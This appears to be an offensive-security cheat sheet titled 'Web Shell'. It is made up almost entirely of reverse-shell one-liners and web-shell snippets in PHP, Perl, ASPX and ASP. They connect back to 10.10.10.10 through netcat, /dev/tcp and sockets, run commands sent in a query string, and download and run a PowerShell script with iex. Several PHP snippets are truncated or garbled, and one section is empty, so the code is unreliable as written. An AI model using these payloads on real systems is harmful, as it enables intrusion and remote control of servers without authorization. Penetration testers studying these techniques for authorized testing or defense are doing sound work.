# Web Shell
## PHP Reverse Shell
### PHP - Netcat
{% code overflow="wrap" %}
```php
&1|nc 10.10.10.10 80 >/tmp/f"); ?>
```
{% endcode %}
### PHP - Bash
```php
&3 2>&3");
?>
php -r '$sock=fsockopen("10.10.10.10",1234);exec("/bin/bash -i <&3 >&3 2>&3");'
```
### PHP Command Execution
```php
# save to a file
'& /dev/tcp/10.10.10.10/80 0>&1"); ?>'
```
### PHP - Download
```php
```
### PHP - Command Execution
```php
bash -c 'bash -i >& /dev/tcp/10.10.10.10/4444 0>&1' > rev.sh
```
## Perl
{% code overflow="wrap" %}
```
perl -e 'use Socket;$i="10.10.10.10";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/bash -i");};'
```
{% endcode %}
## ASPX
```basic
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c whoami")
o = cmd.StdOut.Readall()
Response.write(o)
%>
<%
Set rs = CreateObject("WScript.Shell")
Set cmd = rs.Exec("cmd /c powershell -c iex(new-object net.webclient).downloadstring('http://10.10.10.10:5555/shell.ps1')")
o = cmd.StdOut.Readall()
Response.write(o)
%>
```
{% code title="cmdasp.aspx" %}
```aspnet
<%@ Page Language="C#" Debug="true" Trace="false" %>
<%@ Import Namespace="System.Diagnostics" %>
<%@ Import Namespace="System.IO" %>
awen asp.net webshell
```
{% endcode %}
## ASP
{% code overflow="wrap" %}
```basic
<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>
curl 10.10.10.10/cmd.asp?cmd=whoami
```
{% endcode %}
---
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```
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